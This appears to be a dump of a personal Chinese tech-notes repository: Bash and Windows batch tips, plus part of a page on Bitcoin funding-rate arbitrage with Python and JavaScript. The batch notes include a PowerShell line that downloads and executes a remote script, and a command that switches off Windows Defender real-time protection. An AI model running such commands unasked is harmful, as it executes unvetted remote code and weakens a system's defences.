Showing preview only (5,653K chars total). Download the full file or copy to clipboard to get everything.
Repository: zjuchenyuan/notebook
Branch: master
Commit: 904c0b848877
Files: 233
Total size: 4.8 MB
Directory structure:
gitextract_dap1uylg/
├── .gitignore
├── .nojekyll
├── BASH.md
├── BAT.md
├── Bitcoin.md
├── C.md
├── CDN.md
├── CNAME
├── Developer.md
├── Docker.md
├── ETH.md
├── Favorites.md
├── Flask.md
├── Gemfile
├── Git.md
├── GithubProjectRecommendation.md
├── Java.md
├── JavaScript.md
├── Jekyll.md
├── Links.md
├── Linux-SSH.md
├── Linux-VirtualBox.md
├── Linux-backup.md
├── Linux-cli.md
├── Linux-setup.md
├── Misson.md
├── MySQL.md
├── Nginx.md
├── PHP.md
├── PaperReading.md
├── Python.md
├── PythonCourse.md
├── README.md
├── RabbitMQ.md
├── S2-045.md
├── Ubuntu.md
├── WindowsSoftware.md
├── _clicktocompile.bat
├── _config.yml
├── assets/
│ ├── css/
│ │ ├── filelist.txt
│ │ └── fonts.css
│ └── js/
│ ├── comment.js
│ ├── css-vars-ponyfill.js
│ └── index.js
├── cURL.md
├── ccfbadge.md
├── code/
│ ├── EasyLogin.py
│ ├── Javascript/
│ │ └── 异常.html
│ ├── MultiThread_Template.py
│ ├── PHP/
│ │ └── ShowDoc.sh
│ ├── RVPNKeepAlive.bat
│ ├── SpecialJudge_检查输出行顺序无关的答案.c
│ ├── Understand_recursion/
│ │ └── example1.c
│ ├── autoseed_byr2nhd.py
│ ├── ccfbadge.user.js
│ ├── ctf.cf_crackme/
│ │ └── zeph1/
│ │ ├── exp.cpp
│ │ ├── keygenme1.idb
│ │ └── readme.txt
│ ├── decisiontree.py
│ ├── dfsanexiv2/
│ │ ├── Dockerfile
│ │ └── build.sh
│ ├── exp.S2-045.py
│ ├── fixgbknames.py
│ ├── getcert.py
│ ├── jshook_preload.js
│ ├── newubuntu14.txt
│ ├── pingtest.sh
│ ├── pinyin.sql
│ ├── randomstring.html
│ ├── showtiponcc98.user.js
│ ├── spider.oncokb.js
│ ├── ssgit.txt
│ ├── ssprivoxy.txt
│ ├── staticwebsite_template_compile.py
│ ├── upyun.py
│ ├── upyun_purge.py
│ ├── xinetd-ctf.conf
│ ├── zju_grs_helper.user.js
│ ├── 浙大教务网自动评教.txt
│ ├── 读fasta文件.py
│ └── 静态路由设置.bat
├── compile.sh
├── dfsan.md
├── doc/
│ ├── PAT/
│ │ ├── pat-a-practise/
│ │ │ └── 1005.py
│ │ └── pat-b-practise/
│ │ ├── 1001.py
│ │ ├── 1002.py
│ │ ├── 1003.py
│ │ ├── 1004.py
│ │ ├── 1005.py
│ │ ├── 1006.py
│ │ ├── 1007.py
│ │ ├── 1008.py
│ │ ├── 1009.py
│ │ ├── 1010.py
│ │ ├── 1011.py
│ │ ├── 1012.py
│ │ ├── 1013.py
│ │ ├── 1014.py
│ │ ├── 1023.py
│ │ ├── 1063.py
│ │ ├── 1064.py
│ │ └── 1065.py
│ ├── biology/
│ │ └── ecology.md
│ ├── github/
│ │ └── github_profile_checklist.md
│ ├── how_to_succeed.txt
│ ├── pygment_langs.txt
│ └── python/
│ └── quickstart.html
├── docs/
│ ├── 404.html
│ ├── BASH/
│ │ └── index.html
│ ├── BAT/
│ │ └── index.html
│ ├── Bitcoin/
│ │ └── index.html
│ ├── C/
│ │ └── index.html
│ ├── CDN/
│ │ └── index.html
│ ├── CNAME
│ ├── Developer/
│ │ └── index.html
│ ├── Docker/
│ │ └── index.html
│ ├── ETH/
│ │ └── index.html
│ ├── Favorites/
│ │ └── index.html
│ ├── Flask/
│ │ └── index.html
│ ├── Git/
│ │ └── index.html
│ ├── GithubProjectRecommendation/
│ │ └── index.html
│ ├── Java/
│ │ └── index.html
│ ├── JavaScript/
│ │ └── index.html
│ ├── Jekyll/
│ │ └── index.html
│ ├── Links/
│ │ └── index.html
│ ├── Linux-SSH/
│ │ └── index.html
│ ├── Linux-VirtualBox/
│ │ └── index.html
│ ├── Linux-backup/
│ │ └── index.html
│ ├── Linux-cli/
│ │ └── index.html
│ ├── Linux-setup/
│ │ └── index.html
│ ├── Misson/
│ │ └── index.html
│ ├── MySQL/
│ │ └── index.html
│ ├── Nginx/
│ │ └── index.html
│ ├── PHP/
│ │ └── index.html
│ ├── PaperReading/
│ │ └── index.html
│ ├── Python/
│ │ └── index.html
│ ├── PythonCourse/
│ │ └── index.html
│ ├── RabbitMQ/
│ │ └── index.html
│ ├── S2-045/
│ │ └── index.html
│ ├── Ubuntu/
│ │ └── index.html
│ ├── WindowsSoftware/
│ │ └── index.html
│ ├── assets/
│ │ ├── css/
│ │ │ ├── filelist.txt
│ │ │ └── fonts.css
│ │ ├── javascripts/
│ │ │ └── lunr/
│ │ │ ├── tinyseg.js
│ │ │ └── wordcut.js
│ │ └── js/
│ │ ├── comment.js
│ │ ├── css-vars-ponyfill.js
│ │ └── index.js
│ ├── cURL/
│ │ └── index.html
│ ├── ccfbadge/
│ │ └── index.html
│ ├── code/
│ │ ├── EasyLogin.py
│ │ ├── Javascript/
│ │ │ └── 异常.html
│ │ ├── MultiThread_Template.py
│ │ ├── PHP/
│ │ │ └── ShowDoc.sh
│ │ ├── RVPNKeepAlive.bat
│ │ ├── SpecialJudge_检查输出行顺序无关的答案.c
│ │ ├── Understand_recursion/
│ │ │ └── example1.c
│ │ ├── autoseed_byr2nhd.py
│ │ ├── ccfbadge.user.js
│ │ ├── ctf.cf_crackme/
│ │ │ └── zeph1/
│ │ │ ├── exp.cpp
│ │ │ ├── keygenme1.idb
│ │ │ └── readme.txt
│ │ ├── decisiontree.py
│ │ ├── dfsanexiv2/
│ │ │ ├── Dockerfile
│ │ │ └── build.sh
│ │ ├── exp.S2-045.py
│ │ ├── fixgbknames.py
│ │ ├── getcert.py
│ │ ├── jshook_preload.js
│ │ ├── newubuntu14.txt
│ │ ├── pingtest.sh
│ │ ├── pinyin.sql
│ │ ├── randomstring.html
│ │ ├── showtiponcc98.user.js
│ │ ├── spider.oncokb.js
│ │ ├── ssgit.txt
│ │ ├── ssprivoxy.txt
│ │ ├── staticwebsite_template_compile.py
│ │ ├── upyun.py
│ │ ├── upyun_purge.py
│ │ ├── xinetd-ctf.conf
│ │ ├── zju_grs_helper.user.js
│ │ ├── 浙大教务网自动评教.txt
│ │ ├── 读fasta文件.py
│ │ └── 静态路由设置.bat
│ ├── dfsan/
│ │ └── index.html
│ ├── doc/
│ │ ├── PAT/
│ │ │ ├── pat-a-practise/
│ │ │ │ └── 1005.py
│ │ │ └── pat-b-practise/
│ │ │ ├── 1001.py
│ │ │ ├── 1002.py
│ │ │ ├── 1003.py
│ │ │ ├── 1004.py
│ │ │ ├── 1005.py
│ │ │ ├── 1006.py
│ │ │ ├── 1007.py
│ │ │ ├── 1008.py
│ │ │ ├── 1009.py
│ │ │ ├── 1010.py
│ │ │ ├── 1011.py
│ │ │ ├── 1012.py
│ │ │ ├── 1013.py
│ │ │ ├── 1014.py
│ │ │ ├── 1023.py
│ │ │ ├── 1063.py
│ │ │ ├── 1064.py
│ │ │ └── 1065.py
│ │ ├── biology/
│ │ │ └── ecology/
│ │ │ └── index.html
│ │ ├── github/
│ │ │ └── github_profile_checklist/
│ │ │ └── index.html
│ │ ├── how_to_succeed.txt
│ │ ├── pygment_langs.txt
│ │ └── python/
│ │ └── quickstart.html
│ ├── download/
│ │ └── switchyomega.crx
│ ├── gist/
│ │ └── index.html
│ ├── index.html
│ ├── p.html
│ ├── quickstart.html
│ ├── search/
│ │ └── search_index.json
│ ├── sitemap.xml
│ ├── zjugrshelper/
│ │ └── index.html
│ └── 谈谈安全/
│ └── index.html
├── download/
│ └── switchyomega.crx
├── gist.md
├── mkdocs.yml
├── paperreading/
│ ├── .obsidian/
│ │ ├── config
│ │ ├── graph.json
│ │ ├── plugins/
│ │ │ └── cm-editor-syntax-highlight-obsidian/
│ │ │ ├── manifest.json
│ │ │ └── styles.css
│ │ └── workspace
│ ├── ProFuzzBench Arxiv.md
│ ├── ccs2020.md
│ └── kennyloggings ccs2020.md
├── tagalias.txt
├── zjugrshelper.md
└── 谈谈安全.md
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
venv/
*.status
docs/sitemap.xml.gz
Gemfile.lock
.jekyll-metadata
config.py
__pycache__
*.pyc
mdfiles
================================================
FILE: .nojekyll
================================================
================================================
FILE: BASH.md
================================================
# BASH
## 在bash脚本中使用alias
@TAG alias
加上这么一句:
```
shopt -s expand_aliases
```
## 判断命令行参数是否为空
在python里可以用len(sys.argv)判断参数个数,bash里用中括号里的-z
```
if [ -z "$1" ] && [ -z "$2" ]; then
echo "Usage: $0 <parameter1> <parameter2>"
fi
```
## for循环用seq生成数字列表
@TAG seq
注意终点是包含在内的,不同于Python的range
- `seq 3`: 1 2 3
- `seq 2 3`: 2 3
- `seq 1 2 5`: 1 3 5
```
for i in $(seq 1 $END); do echo $i; done
```
## BASH做不同进制间数学计算
不需要bc也可以直接做计算,例如计算5+0xa+0b1010
```
echo $((5+16#a+2#1010))
```
## 判断命令不存在再apt安装
```
command -v aria2c >/dev/null 2>&1 || { apt update && apt install -y aria2; }
```
如果有多个软件可能要安装,没必要每次都apt update,可以先装了再说 失败就apt update
```
command -v 7z >/dev/null 2>&1 || { apt-get install -y p7zip; }
command -v 7z >/dev/null 2>&1 || { apt update; apt-get install -y p7zip; }
```
## 判断文件不存在
注意`]`前面要有空格
```
if [ ! -f "somefile" ]; then
curl ...
fi
```
----
## sort排序
逆序 -r
按版本排序 排序IP地址 -V
按数字排序 -n
按人类理解的文件大小排序 -h
指定某些列来排序 -k 3,3 -k 4,4 指定分隔符用-t '.'
参考: https://www.madboa.com/geek/sort-addr/
----
## rsync移动远程目录特定文件至本机后循环操作
rsync有`--dry-run`参数确认没出错后再操作
```
rsync -P --remove-source-files -avz '1.2.3.4:/root/dockerimages/*.tar.7z' ./
for filename in *.tar.7z; do
7z x -so $filename | docker load;
mv $filename ./done/;
done
```
================================================
FILE: BAT.md
================================================
# BAT 批处理
也包含一些Windows命令行工具
## 快速打开cmd
还在用Win+R cmd再用pushd命令?
在资源管理器的地址栏输入cmd回车就能直接进入当前目录
另外,不如直接[把cmd加入到鼠标右键](/WindowsSoftware/#bash)
----
## 并列语句语法
```
顺序执行 &
echo a & echo b
前者正确才执行 &&
>nul 2>nul ping -n 1 qq.com && echo network ok
前者错误才执行 ||
>nul 2>nul ping -n 1 qq.com || echo network failure
```
----
## 来一个死循环吧 for
> 用于结束进程,或者DNS查询看看解析是否生效
for /l %i in (1,1,9999999) do ...
----
## 结束进程 taskkill
> 当启动cmd窗口过多的时候,使用taskkill批量关闭
taskkill /f /im cmd.exe
类似的Linux命令为`killall bash`
----
## 内存整理 free
> 微软自己出的一个内存整理工具,需要管理员权限
> 下载:[empty.exe](https://d.py3.io/empty.exe)
empty *
----
## 睡一会 SleepX
> 程序需要等待一定时间再继续运行就可以sleepx啦,作者Bill Stewart (bstewart@iname.com)
> 下载:[SleepX.exe](https://d.py3.io/SleepX.exe)
SleepX 10
等待5s,如果用户等不及可以按键,此时 not "%errorlevel%" == "0"
SleepX -k 5
----
## 命令行的浏览器 curl

> 大名鼎鼎的cURL,不必多言;只是它的命令行的运行方式与libcurl用起来差异很大(如比较php的curl用法)
> 官方:https://curl.haxx.se/
> 简单入门:http://www.bathome.net/thread-1761-1-1.html
> **将curl转为python requests** http://curl.trillworks.com/
[下载7.51 x64版本](https://d.py3.io/curl.exe)
具体请见单独文档[cURL.md](cURL.md)
----
## 判断文件夹存在
通过判断nul这个特殊文件的存在性(用户并不能创建文件名形如nul的特殊文件)
```
if exist DIRNAME\nul echo Yes!
```
----
## 创建硬链接mklink或者fsutil hardlink create
Win7及以上:
```
mklink /H Link Target
```
目录还需要/J
```
mklink /H /J Link Target
```
WinXP只能用:
```
fsutil hardlink create <new filename> <existing filename>
```
----
## 端口转发
此命令需要管理员权限
```
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=转发出的端口 connectaddress=转发的源IP地址 connectport=转发的源端口
```
----
## 保持RVPN不断开
rvpn会自动断开,所以写了个脚本判断并自动重连
[RVPNKeepAlive.bat](code/RVPNKeepAlive.bat)
其中的知识点:
1. 判断命令是否成功用if "%errorlevel%"=="0",errorlevel这个变量是上一条命令的返回结果(C程序的int main的返回值),一般规定返回0表示没有发生错误
2. 用ping www.baidu.com和ping -n 2 ip.cn做粗糙的等待延时,其中-n表示ping的次数,默认是4,改小一点就是更短的延时咯
3. 启动一个GUI的exe,需要用start "" example.exe
----
## 浙江大学有线vpn静态路由配置脚本
Author: shuishui
[静态路由设置.bat](code/静态路由设置.bat)
----
## 进入休眠
Win10似乎没有从鼠标进入休眠而不是睡眠的方法,但调用rundll32进入休眠模式还是可以的:
```
rundll32.exe powrProf.dll,SetSuspendState
```
----
## 快速进入系统代理设置
@TAG 代理
From: https://stackoverflow.com/questions/3648366/is-it-possible-to-launch-ies-proxy-settings-dialog-from-the-command-line
不用启动`c:\Program Files\Internet Explorer\iexplore.exe`,直接Win+R输入这个就能打开IE的连接设置,方便修改代理:
```
inetcpl.cpl ,4
```
----
## 在普通权限cmd中获得更高权限
比如下文的修改ip等操作就需要管理员权限。你可以先启动任务管理器,再运行一个管理员权限的cmd;现在有了更加直接的操作
### 方案1:[elevate](http://code.kliu.org/misc/elevate/)
下载地址:[http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z](http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z)
特点:有UAC弹窗,会启动一个新窗口
例子:
```
REM 启动一个特权的cmd
elevate -k
REM 执行dir并等待结束
elevate -c -w dir
```
### 方案2:Sudo for Windows – Luke Sampson
参考:https://helpdeskgeek.com/free-tools-review/5-windows-alternatives-linux-sudo-command/
在powershell中输入以下命令完成安装:
```
iex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’)
set-executionpolicy unrestricted -s cu -f
scoop install sudo
```
特点:比较慢,仍然有UAC弹窗,不会启动一个新窗口
----
## 命令行配置IP
需要管理员权限,参见上方`在普通权限cmd中获得更高权限`
参考:https://helpdeskgeek.com/networking/change-ip-address-and-dns-servers-using-the-command-prompt/
首先使用`netsh interface ip show config`查看适配器的名称,假设需要配置的是`以太网`
### 配置静态IP和DNS
```
netsh interface ip set address name="以太网" static 192.168.1.101 255.255.255.0 192.168.1.1
netsh interface ip set dns "以太网" static 192.168.1.1
```
### 配置DHCP
```
netsh interface ip set address name="以太网" dhcp
netsh interface ip set dns "以太网" dhcp
```
----
## 命令行使用VeraCrypt
VeraCrypt是TrueCrypt代替者,其命令行使用方式: https://www.veracrypt.fr/en/Command%20Line%20Usage.html
下载Portable版本即可,下载地址:https://www.veracrypt.fr/en/Downloads.html
### 创建一个加密盘
不与用户交互所以指定`/q /s`,具体来说/q表示不显示主窗口,/s表示不显示任何交互窗口也不报错,注意使用这两个参数后即使出错也不会有任何提醒
文件名test.hc,大小100M,密码必须20个字符或以上,加密方式使用最快的Serpent,为了加速挂载过程指定/pim 1
```
"VeraCrypt Format.exe" /create test.hc /password testtesttesttesttest /hash sha512 /encryption serpent /filesystem FAT /size 100M /pim 1 /force /silent
```
如果不指定/pim来降低迭代次数,挂载时需要耗时十秒以上无法接受,所以牺牲一点安全性来换取性能。关于PIM的文档: https://www.veracrypt.fr/en/Personal%20Iterations%20Multiplier%20(PIM).html
### 挂载加密盘
挂载test.hc至Z:盘,需要指定与创建过程相同的/pim
这个命令会立即返回,但真正挂载可以访问Z盘可能还需要等待数秒
```
VeraCrypt.exe /quit /silent /volume test.hc /password testtesttesttesttest /pim 1 /l z
```
### 卸载已经挂载的加密盘
```
VeraCrypt.exe /quit /silent /dismount z
```
----
## 命令行关闭Windows Defender
在进行大量IO操作的时候(如拷贝大量小文件),Windows Defender会严重拖慢任务速度
在管理员权限下powershell可以直接临时关闭Windows Defender的实时防护
搭配elevate.exe使用即可在Win+R中快速关闭:
```
elevate powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
```
这个似乎在最新的Windows 2004已经失效
---------
## 命令行增加Windows防火墙规则阻断IP
@TAG 防火墙
当然需要管理员权限的cmd,能一行搞定何必在繁琐的设置步骤中周旋
参考 https://serverfault.com/questions/851922/blocking-ip-address-with-netsh-filter
```
netsh advfirewall firewall add rule name="IP Block" ^
dir=in interface=any action=block remoteip=198.51.100.108/32
```
================================================
FILE: Bitcoin.md
================================================
# Bitcoin
<script>
function showwatch1(){
localStorage.setItem("watchtab","showwatch1");
tablebodysort(document.querySelector("#realtimeprofittbody"), 6, 1);
var idx=1;
document.querySelector("#realtimeprofittbody").querySelectorAll("tr").forEach(function (i){
var text = i.querySelector(".headcol").innerText.trim();
if(text.startsWith("u")||text.startsWith("h")||idx>10||i.querySelector("td:nth-child(2)").textContent.indexOf("-")==0||i.querySelector("td:nth-child(3)").textContent.indexOf("-")==0||i.querySelector("td:nth-child(4)").textContent.indexOf("-")==0||i.querySelector("td:nth-child(5)").textContent.indexOf("-")==0){
i.style.display="none";
return
}
i.style.display="";
idx+=1;
})
}
function showwatch2(){localStorage.setItem("watchtab","showwatch2");return showtrs(['SHIB','XCH','ICP','FIL','KSM','hBNB','hLTC','hBTCDOM'])}
function showwatch3(){localStorage.setItem("watchtab","showwatch3");return showtrs(['KSM','ANT','SHIB','XCH','BSV','DOGE'])}
function showwatch4(){localStorage.setItem("watchtab","showwatch4");return showtrs(['KSM','FIL','XCH'])}
function showwatch_huobi(){localStorage.setItem("watchtab","showwatch_huobi");document.querySelector("#realtimeprofittbody").querySelectorAll("tr").forEach(function(i){
var c = i.querySelector(".headcol").innerText.trim()[0]
i.style.display=(c==c.toLowerCase()?"none":"")
})}
function showwatch_huobiu(){localStorage.setItem("watchtab","showwatch_huobiu");return show_prefix("u")}
function showwatch_binance(){localStorage.setItem("watchtab","showwatch_binance");return show_prefix("b")}
function showwatch_binanceu(){localStorage.setItem("watchtab","showwatch_binanceu");return show_prefix("h")}
function showwatch_okex(){localStorage.setItem("watchtab","showwatch_okexu");return show_prefix("o")}
</script>
我也来试水当个被割的韭菜了
### 套利实时收益率
以下为实时收益率数据(每天更新一次):[Code](https://github.com/zjuchenyuan/arbitrage_notification)
预测收益:下一次结算收益(确定值)+下下次结算收益(预估值,随价差波动),单位为千分之
昨日收益:最近三次结算的累计收益
7日年化:最近21次结算平均收益 具体计算见上文**计算收益率**
<a onclick="showfull()">显示全部</a> <a onclick="showwatch1()">关注1</a> <a onclick="showwatch2()">关注2</a> <a onclick="showwatch3()">关注3</a> <a onclick="showwatch4()">关注4</a> <br>
<a onclick="showwatch_huobi()">火币</a> <a onclick="showwatch_huobiu()">火币u</a> <a onclick="showwatch_binance()">币安</a> <a onclick="showwatch_binanceu()">币安u</a> <a onclick="showwatch_okex()">OKex</a>
https://d.py3.io/btc.html
## 期货永续合约介绍
以火币的btc合约为例,交易单位最小是一张100 USD美元(其他币种都是10美元)
交易都是基于btc担保,挣到的也是btc
**买入1张看涨 做多**:相当于按照现在的合约价格用100USD买入btc,也就是借到了币,期待比特币价格上涨;承诺未来会卖出btc平仓得到100USD返还,在平仓时如果真的涨了,那时需要卖出的btc就比当时开仓时的数量少,这个差异的部分就是挣到的btc;如果btc价格一直下跌,账户里所有的btc卖出都不够100USD就爆仓了(实际爆仓规则更复杂)
**卖出1张看跌 做空**:相当于按照现在的合约价格卖出btc手上拿着100USD,也就是借到了美元(然而并不能拿到美元),承诺未来会把这100美元买回btc,如果按预期真的跌了平仓时就能买到更多的btc。注意到买卖这个期货都是基于btc担保的,所以如果不加杠杆做空,就完全等价于卖出持有的btc,不存在爆仓风险,也就是说想真正做空(花人民币赌btc跌)必须上杠杆
## 永续合约资金费率套利
这本质上是一个套期保值的操作,是套利,不是高频交易策略,建仓后无需操作,只需要观察是否趋势反转决定平仓时机,例如当七日年化收益为负时平仓卖出
期货合约的交易价格为啥会与现货(BTC/USDT)相差不大呢?因为存在每8个小时的结算机制,如果合约价格>现货价格,说明多方占优,则多方向空方支付资金费,如0.01%(具体数值与价差相关)。[官方说明](https://huobiglobal.zendesk.com/hc/zh-cn/articles/900000106903)
套利操作:用usdt买入币种,立刻下空单无杠杆做空相同数量——这样我们一买一卖相当于没有买入,资产净值不受币价波动影响,只是做空收取资金费
具体操作:先在法币交易用人民币买usdt,然后在币币交易买入10.1usdt的币(多买一点给扣手续费),立刻转入永续合约账户开始1倍做空一张,然后长期持有直到趋势反转(持续支付资金费)。
不要看账户的收益率,这个单单是做空本身相当于持币的收益率,我们并没有持币,正确的收益计算应该是账户权益(币的数量)*当前币币交易价格,收益的基准比较应该是低风险债券而不是高风险持币
历史数据查询: [资金费率](https://futures.huobi.com/zh-cn/swap/info/swap_fee/) [结算价格](https://futures.huobi.com/zh-cn/swap/info/settlement/)
爬取一下历史数据:(看起来ONT套利收益最高,不过上线时间不够长不具有代表性)
**计算收益率**时不能简单对单次收益率求和,应该考虑币价波动对最后实际收益的影响:假设投入1USD,计算每次结算能收到多少币,累加后按最近一次结算价计算这些币值多少USD,除以结算次数乘以一年的结算次数即为年化收益
```python
import requests, os, sys, time
from decimal import Decimal
from functools import lru_cache
sess = requests.session()
@lru_cache()
def getdata(coin, page=1):
page = str(page)
data = [Decimal(i['final_funding_rate']) for i in sess.get("https://futures.huobi.com/swap-order/x/v1/swap_funding_rate_page?contract_code="+coin+"-USD&page_index="+page+"&page_size=100", headers={"source":"web"}).json()["data"]["settle_logs"]]
settle = [Decimal(i["instrument_info"][0]["settle_price"]) for i in sess.get("https://futures.huobi.com/swap-order/x/v1/swap_delivery_detail?symbol="+coin+"&page_index="+page+"&page_size=100", headers={"source":"web"}).json()["data"]["delivery"]]
return data, settle
def calc_fullprofit(coin):
data, settle = [], []
page = 1
x = getdata(coin)
while len(x[0]):
data.extend(x[0])
settle.extend(x[1])
page+=1
x = getdata(coin, page)
profit_coin = sum([k/settle[i] for i,k in enumerate(data)])
profit_usd = profit_coin*settle[0]
return "%.2f"%(profit_usd/len(data)*3*365*100) + "%", len(data)
data=[]
for i in "BTC ETH EOS LINK BCH BSV LTC XRP ETC TRX ADA ATOM IOTA NEO ONT XLM XMR DASH ZEC".split(" "):
profit, length = calc_fullprofit(i)
data.append([i, profit, length])
data.sort(key=lambda i:i[1], reverse=True)
for i,profit,length in data:
print("",i, profit, length,"", sep="|")
```
风险: From [数字币套利简史(下)](https://www.chainnode.com/post/391781)
>需要注意的是,资金费率的套利更加适合趋势上涨的行情,而且要留意行情的反转导致费率趋势的扭转,可能会套利失效;还有就是对于像18年的趋势下跌行情,虽然套利逻辑一样,但操作会更加复杂,因为这里面要涉及到永续合约+交割合约的组合对冲,占用币数也会翻倍,也就是说同样的币量套利年化收益率要打5折;所以,好好珍惜这来之不易的好行情吧。
交易期间手速慢或交易不活跃会导致买入现货价格高于做空价格,导致额外的成本损耗;持有期间的最大风险在于美元贬值的风险,例如USDT 7.1买入,最后6.9卖出,即为28.2‰亏损
另外,如果btc持续上涨,在持仓中看到做空亏了百分之多少还是有点心痛的,这就需要良好的心理素质,套利相比于持币动辄一天10%的波动就挣不到多少钱hhh
------
## 套利+网格交易
上述能被选出的资金费率高的套利币种,往往也是涨幅巨大的币种,可能还不如简单持币赚得更多,于是可以尝试更稳妥网格。网格的一个缺点在于资金利用率低,等着抄底买入的资金是闲置的,自然想到可以把上述资金费率套利结合起来,还没买入的部分就等量做空,优点在于:
- 还没买入的抄底资金能赚取资金费率,不完全闲置
- 没有usdt暴雷风险,币本位永续合约挂钩的是美元而不是usdt
- 手续费低,火币现货交易千2,币安合约交易maker只有万1.5
调用币安python sdk自动挂单,代码逻辑是:
获取当前所有的挂单,比对配置的价格数组,找到缺失的价格们。
这些缺失的价格是因为挂单成交导致的,需要补上。
最新成交的那一单价格定为p,p本身是不能补单的(刚突破的网格本身再补上就是白交手续费)。
小于p的缺失价格需要补上buy,大于的补上sell。
在行情剧烈波动的时候,可能一分钟就会成交多次订单需要及时补单,就遇到了具体编码的挑战:
### 如何获取最新的成交订单?
订单号排序?不行,orderId只是按下单时间递增,orderId最大并不一定最近成交
获取当前最新价格,比较哪个缺失价格离最新价格更近?在行情剧烈波动时不可靠
获取历史所有订单,按updateTime排序?实测发现这个api有两个问题:
- 多个订单updateTime相同,无法排序区分
- 数据延迟,最新成交的订单并不一定出现
解决方案是:
- 获取最新成交的成交记录,从中提取包含的orderId,再查询订单。不排除这个REST API也存在数据延迟的问题
- 使用websocket
### 币安Python SDK没有币本位合约接口
现在代码已经有更新补上了REST API的缺失,但websocket订阅账户变动的代码还是得自己来:
client.py里stream_get_listen_key附近加上:
```
def futures_stream_get_listen_key(self):
res = self._request_futures_api("post", "listenKey", True, data={})
return res['listenKey']
```
调用就这样:
```
def start_websocket(self, handle_order):
def process_message(msg):
global conn_key
if msg['e'] not in ['ACCOUNT_UPDATE'] and not (msg['e']=='ORDER_TRADE_UPDATE' and msg['o']['X']=='NEW'):
myprint("message:", msg['e'], msg)
if msg['e'] == 'error':
bm.stop_socket(conn_key)
bm.close()
reactor.stop()
print("socket stopped, exit now!")
exit()
elif msg['e']=='ORDER_TRADE_UPDATE':
o = msg['o']
if o['X']!='FILLED':
return
order = {"price":o['p'], "orderId":o['i'], "side":o["S"], "symbol":o["s"], "clientOrderId":o["c"]}
return handle_order(order)
client = self.client
client.stream_get_listen_key = client.futures_stream_get_listen_key
client.FUTURES_URL = client.FUTURES_URL.replace("fapi", "dapi")
bm = BinanceSocketManager(client)
bm.STREAM_URL = "wss://dstream.binance.com/"
conn_key = bm.start_user_socket(process_message)
bm.start()
```
上述代码直接魔改BinanceSocketManager的常数定义来实现对币本位合约API的调用,订阅账户变动消息,只处理ORDER_TRADE_UPDATE中FILLED的订单,调用handle_order函数进行处理
### 各种异常处理
**避免重复下单**: 下单时指定包含价格信息的newClientOrderId,重复下单自然会失败,避免相同的订单重复下单`APIError(code=-4015): Client order id is not valid.`,但这个保护只针对还在挂单的订单,相同的clientorderid如果前述订单已经成交,不会阻止新的提交。
**已经重复下单**:需要比对当前价格与定义好的网格数组,判断当前应该的仓位是多少,然后使用市价单或者额外在相邻网格下单保证仓位的正确性,注意极端行情下自动补仓依据的仓位价值可能有误。例如买入是靠平仓做空实现的,这是种reduceOnly的订单,必须有足够多的做空仓位才能买,否则报错:`APIError(code=-2022): ReduceOnly Order is rejected.`
已经下的**订单状态变成“已过期”**:这种还是因为已经发生了超买/超卖,保证金不足,官方说明:
> https://www.binance.com/zh-CN/support/faq/360039707291
> 保证金审核不过(针对于止盈止损单):止盈止损单中需要设置触发价和成交价(市价止盈止损单中,可以根据不同需要设置根据标记价格或最新价格触发),系统会进行两次保证金审核,分别在下单前和成交前。订单触发之后,系统会立即进行第二次保证金审核,若当前发生了亏损或划转出了保证金,导致可用保证金不足,此时订单状态会显示已过期。
**保证金不足**:直接把杠杆倍数变成2可以避免这个问题,即使加杠杆也不会出现强平价格。
**服务器网络不可靠**:在其他地区的服务器同时跑轮询,即使单个服务器挂掉,也有其他服务器靠轮询补上订单,但注意分布式后日志收集是个新的难点
**listenKeyExpired**:收到这种类型的消息需要重新连接,也可以主动轮询的时候调用futures_stream_get_listen_key对现有的Listen Key进行刷新
<script>
function myparseFloat(text){
var res = parseFloat(text);
if(isNaN(res)) {
if(text[0]=="b"||text[0]=="h"||text[0]=="o"||text[0]=="u") return text.slice(1);
else return text;
}
if(text.endsWith("亿")) return res*100000000;
if(text.endsWith("万")) return res*10000;
return res;
}
function tdsortn(a,b,n){
if(myparseFloat(a.querySelector("td:nth-child("+n+")").textContent) > myparseFloat(b.querySelector("td:nth-child("+n+")").textContent) )
return 1;
else
return -1;
}
function tablebodysort(tbody, n, order){
var mylist=Array.prototype.slice.call(tbody.querySelectorAll("tr"), 0);
var sortList = Array.prototype.sort.bind(mylist);
tbody.innerHTML="";
for(var i of sortList(function(a,b){return -order*tdsortn(a,b,n)}))
tbody.appendChild(i)
}
var rememerclick={2:1};
function tablesort_onclick(e){
var n = Array.from(e.target.parentElement.children).map((element, index)=>({element,index})).filter(({element})=>element==e.target)[0].index+1
var tbody = document.querySelector("#realtimeprofittbody");
var order = rememerclick[n]==1?-1:1;
tablebodysort(tbody, n, order);
rememerclick[n] = order;
}
function registeronclick(){
for (var i of Array.prototype.slice.call(document.querySelectorAll("#realtimeprofit > table > thead > tr > th"),0)){
i.onclick = tablesort_onclick;
i.style["cursor"]="pointer";
}
var tab=localStorage.getItem("watchtab");
if(tab){eval(tab+"()")}
rememerclick={2:1};
document.querySelectorAll("#realtimeprofittbody>tr>td").forEach(function(i){if(i.innerText.trim().startsWith("-")){i.style.backgroundColor="#c0ff90"}})
}
function triggerrefresh(){
fetch("https://api.py3.io/trigger_btc_refresh").then(function(response) {
if (!response.ok) {
throw Error(response.statusText);
}
return response;
}).then(function(response) {
alert("更新成功");
loadbtctable();
}).catch(function(error) {
alert("触发更新失败,请稍后再来")
});
}
if(/refresh/.test(location.href)) triggerrefresh();
function showfull(){
localStorage.setItem("watchtab","showfull");
document.querySelector("#realtimeprofittbody").querySelectorAll("tr").forEach(i=>i.style.display="")
}
function showtrs(coins){
document.querySelector("#realtimeprofittbody").querySelectorAll("tr").forEach(i=>i.style.display=(coins.indexOf(i.querySelector(".headcol").innerText.trim())==-1?"none":""))
}
function hidetrs(coins){
document.querySelector("#realtimeprofittbody").querySelectorAll("tr").forEach(i=>i.style.display=(coins.indexOf(i.querySelector(".headcol").innerText.trim())==-1?"":"none"))
}
function show_prefix(prefix){
document.querySelector("#realtimeprofittbody").querySelectorAll("tr").forEach(i=>i.style.display=(i.querySelector(".headcol").innerText.trim().startsWith(prefix)?"":"none"))
}
</script>
<style>
.md-grid{max-width:69rem;}
.headcol {
position: sticky;
